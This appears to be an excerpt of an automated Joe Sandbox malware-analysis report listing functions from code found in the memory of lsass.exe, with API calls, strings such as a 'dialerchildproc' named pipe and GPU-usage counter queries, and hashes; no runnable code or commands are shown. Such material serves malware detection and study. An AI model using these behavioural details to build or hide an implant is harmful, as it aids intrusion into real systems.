RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
HeapFree.KERNEL32 ref: 00000202C0AE1418
lstrlenW.KERNEL32 ref: 00000202C0AE1421
GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
HeapAlloc.KERNEL32 ref: 00000202C0AE143D
StrCpyW.SHLWAPI ref: 00000202C0AE145F
GetProcessHeap.KERNEL32 ref: 00000202C0AE1476
HeapFree.KERNEL32 ref: 00000202C0AE1484

Strings

d, xrefs: 00000202C0AE135A

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: d3bbb0d6a33b11fdeba87f49bf8526c0ef2bbfe18e70a51474c0d76e55c01624
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 07512772200B84C6EB54CF62E48C35EB7A5F788F99F458126DB8A0776ADF39C4598B00

Function 00000202C0AB6D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB6D68
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB6DBA
_RTC_Initialize.LIBCMT ref: 00000202C0AB6DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB6E0E
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB6E39

Strings

destructor', xrefs: 00000202C0AB6F69, 00000202C0AB6FE2, 00000202C0AB701C
ned, xrefs: 00000202C0AB6E1E
restrict(, xrefs: 00000202C0AB6E17

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: ae715c0618650c797de8d196486db3eda3e60c1cf3996309e67a6a542324cfbc
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: CE81A131600741C6FB60AB76A8CD3AD26E4AB89780F1B5427AB09477A7DF7DC98D8700

Function 00000202C0AED258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED267
FlsGetValue.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED27C
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED29D
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED2CA
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED2DB
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED2EC
SetLastError.KERNEL32(?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED33D
FlsSetValue.KERNEL32(?,?,00000001,00000202C0AEF0FC,?,?,?,?,00000202C0AEC3CF,?,?,?,?,?,00000202C0AE7EE0), ref: 00000202C0AED35C

Part of subcall function 00000202C0AEDAFC: HeapAlloc.KERNEL32(?,?,00000000,00000202C0AED432,?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AEDB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED384

Part of subcall function 00000202C0AEDB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000202C0AE643A), ref: 00000202C0AEDB8A
Part of subcall function 00000202C0AEDB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000202C0AE643A), ref: 00000202C0AEDB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0E9B,?,?,?,00000202C0AF088C,?,?,?,00000202C0AECC7F), ref: 00000202C0AED3A6

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: f410c08f16195d7feb55c0acab90937f6d3a32cbd58bd7616d863ef084d28fbd
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 634171203013C5C6FD58A73555DD76D22429B497F4F174B2BEFBA0F6D7EE28886A8201

Function 00000202C0AE2FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE3001
GetProcessHeap.KERNEL32 ref: 00000202C0AE3016
HeapAlloc.KERNEL32 ref: 00000202C0AE3024
PdhGetCounterInfoW.PDH ref: 00000202C0AE303A
StrCmpW.SHLWAPI ref: 00000202C0AE304F

Part of subcall function 00000202C0AE3554: StrCmpNW.SHLWAPI ref: 00000202C0AE3576
Part of subcall function 00000202C0AE3554: StrStrW.SHLWAPI ref: 00000202C0AE3594
Part of subcall function 00000202C0AE3554: StrToIntW.SHLWAPI ref: 00000202C0AE35BB

GetProcessHeap.KERNEL32 ref: 00000202C0AE308C
HeapFree.KERNEL32 ref: 00000202C0AE309A

Strings

\GPU Engine(*)\Running Time, xrefs: 00000202C0AE3048

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: 5bf1902dd2c0bb3d590e3c39ec1bf0b48186cc81f85eaad6962f89ffe1acfc31
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: A9319333A04B80C6F720DF22A88C75DA3A0F788BD5F4642279F8943B66DF38C5698740

Function 00000202C0AE30BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE311A
GetProcessHeap.KERNEL32 ref: 00000202C0AE312B
HeapAlloc.KERNEL32 ref: 00000202C0AE3139
PdhGetCounterInfoW.PDH ref: 00000202C0AE314F
StrCmpW.SHLWAPI ref: 00000202C0AE3164

Part of subcall function 00000202C0AE3554: StrCmpNW.SHLWAPI ref: 00000202C0AE3576
Part of subcall function 00000202C0AE3554: StrStrW.SHLWAPI ref: 00000202C0AE3594
Part of subcall function 00000202C0AE3554: StrToIntW.SHLWAPI ref: 00000202C0AE35BB

GetProcessHeap.KERNEL32 ref: 00000202C0AE3191
HeapFree.KERNEL32 ref: 00000202C0AE319F

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000202C0AE315D

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: 5d3e7fe486244f146b54635b0d1212027529e81a6e1483a88afd0d30f5ccc161
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: F8315C22618B81C6FB50DF26A8CC75DA3A5F784F85F06422B9F9A43726DF38D8598700

Function 00000202C0AB9D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AB9DD1

Part of subcall function 00000202C0ABAC44: __GetUnwindTryBlock.LIBCMT ref: 00000202C0ABAC87
Part of subcall function 00000202C0ABAC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0ABACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AB9EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0ABA0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0ABA20A

Strings

csm, xrefs: 00000202C0AB9ECC
csm, xrefs: 00000202C0AB9E52
csm, xrefs: 00000202C0AB9DEB

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: e17db8edfc6197daea080600bf38c591281c30dd8c0174fdc7d504c14fdcd248
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 05E17A72604B40CAFB60DF69A48C39D7BA0F755B98F114217EF8957B9ACB34D598C700

Function 00000202C0AEA974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AEA9D1

Part of subcall function 00000202C0AEB844: __GetUnwindTryBlock.LIBCMT ref: 00000202C0AEB887
Part of subcall function 00000202C0AEB844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0AEB8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AEAAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AEACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AEAE0A

Strings

csm, xrefs: 00000202C0AEA9EB
csm, xrefs: 00000202C0AEAACC
csm, xrefs: 00000202C0AEAA52

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: 9af3ddf56590a485978cac2ffc13644fed0e984cc27883960e106c504c4bc76f
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: C2E17C72600B80CAFB20DB6594CC39D37A4F796B88F124517EFA957B9ACB34D5A9C700

Function 00000202C0AEF7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000202C0AEF940
GetProcAddress.KERNEL32 ref: 00000202C0AEF94C

Strings

ext-ms-, xrefs: 00000202C0AEF89D
api-ms-, xrefs: 00000202C0AEF88A

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 12418b3ded53c4190658a1cf896c70053481940a3e587dd9996ceed7dc0a2fc5
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 0A413422311B90D1FB16CB66A88C75D2395FB08BE0F0A41278EAE87796EF39C45DC340

Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10B1
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1117
GetProcessHeap.KERNEL32 ref: 00000202C0AE115A
HeapAlloc.KERNEL32 ref: 00000202C0AE1168
GetProcessHeap.KERNEL32 ref: 00000202C0AE1185
HeapFree.KERNEL32 ref: 00000202C0AE1193

Strings

d, xrefs: 00000202C0AE10D6

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 26155b065d5d49fbc65426973210cc8d912e4c2e795746c6e68801dfcec21a53
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 66414F73214B80C6E760CF61E48C79EB7A5F388B98F45822ADB8907759DF39C599CB40

Function 00000202C0AED498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000202C0AECC0E,?,?,?,?,?,?,?,?,00000202C0AED3CD,?,?,00000001), ref: 00000202C0AED4B7
FlsSetValue.KERNEL32(?,?,?,00000202C0AECC0E,?,?,?,?,?,?,?,?,00000202C0AED3CD,?,?,00000001), ref: 00000202C0AED4D6
FlsSetValue.KERNEL32(?,?,?,00000202C0AECC0E,?,?,?,?,?,?,?,?,00000202C0AED3CD,?,?,00000001), ref: 00000202C0AED4FE
FlsSetValue.KERNEL32(?,?,?,00000202C0AECC0E,?,?,?,?,?,?,?,?,00000202C0AED3CD,?,?,00000001), ref: 00000202C0AED50F
FlsSetValue.KERNEL32(?,?,?,00000202C0AECC0E,?,?,?,?,?,?,?,?,00000202C0AED3CD,?,?,00000001), ref: 00000202C0AED520

Strings

1%, xrefs: 00000202C0AED4FE
Y%, xrefs: 00000202C0AED4D6

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: ccb3c328c1cc4f3dc6c269ba102d6e366637f7e722823d4bcdc7d35ecbba9f32
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 5F1186607053C0C1FE58972565DD76D2141AB847F8F57473BEABE0B7D7EE28C86A4600

Function 00000202C0AE2334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE2349
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE2353
CreateFileW.KERNEL32 ref: 00000202C0AE2384
WriteFile.KERNEL32 ref: 00000202C0AE23AC
ReadFile.KERNEL32 ref: 00000202C0AE23CB
CloseHandle.KERNEL32 ref: 00000202C0AE23D4

Strings

\\.\pipe\dialerchildproc, xrefs: 00000202C0AE2365

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: ab9853ce45aa3ae5ff0ab0df34c8b3cd04aee3897dc18913666e061f4019053a
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 0A114932614B40C2F7108B21F48C75E6765F389BE5F618317EBAA06AA9CF7DC549CB04

Function 00000202C0AE7940 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7968
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE79BA
_RTC_Initialize.LIBCMT ref: 00000202C0AE79E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE7A0E
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE7A39

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 91999e882ef8325bf4855b1169034fd288f1a2cdee68592838d125f65ce938f6
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 2481F6217003C1C6FB58AB65A8CD35D6290AB85B84F174527EBE947797EB38CA6E8700

Function 00000202C0AEA1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000202C0AEA3B3,?,?,?,00000202C0AE9B9C,?,?,?,?,00000202C0AE96BD), ref: 00000202C0AEA279
GetLastError.KERNEL32(?,?,?,00000202C0AEA3B3,?,?,?,00000202C0AE9B9C,?,?,?,?,00000202C0AE96BD), ref: 00000202C0AEA287
LoadLibraryExW.KERNEL32(?,?,?,00000202C0AEA3B3,?,?,?,00000202C0AE9B9C,?,?,?,?,00000202C0AE96BD), ref: 00000202C0AEA2B1
FreeLibrary.KERNEL32(?,?,?,00000202C0AEA3B3,?,?,?,00000202C0AE9B9C,?,?,?,?,00000202C0AE96BD), ref: 00000202C0AEA2F7
GetProcAddress.KERNEL32(?,?,?,00000202C0AEA3B3,?,?,?,00000202C0AE9B9C,?,?,?,?,00000202C0AE96BD), ref: 00000202C0AEA303

Strings

api-ms-, xrefs: 00000202C0AEA299

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 808902013ebb169969ef197a4e5551ff5a11589a7928ddab1bd50d4f78d156e4
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 2231B822312B80D2FE129B46A88C79D2394B759B60F5B0627DF7E1B3A2DF39D55D8310

Function 00000202C0AF41E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF4215
GetLastError.KERNEL32 ref: 00000202C0AF4221
CloseHandle.KERNEL32 ref: 00000202C0AF4239
CreateFileW.KERNEL32 ref: 00000202C0AF4264
WriteConsoleW.KERNEL32 ref: 00000202C0AF4283

Strings

CONOUT$, xrefs: 00000202C0AF4245

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
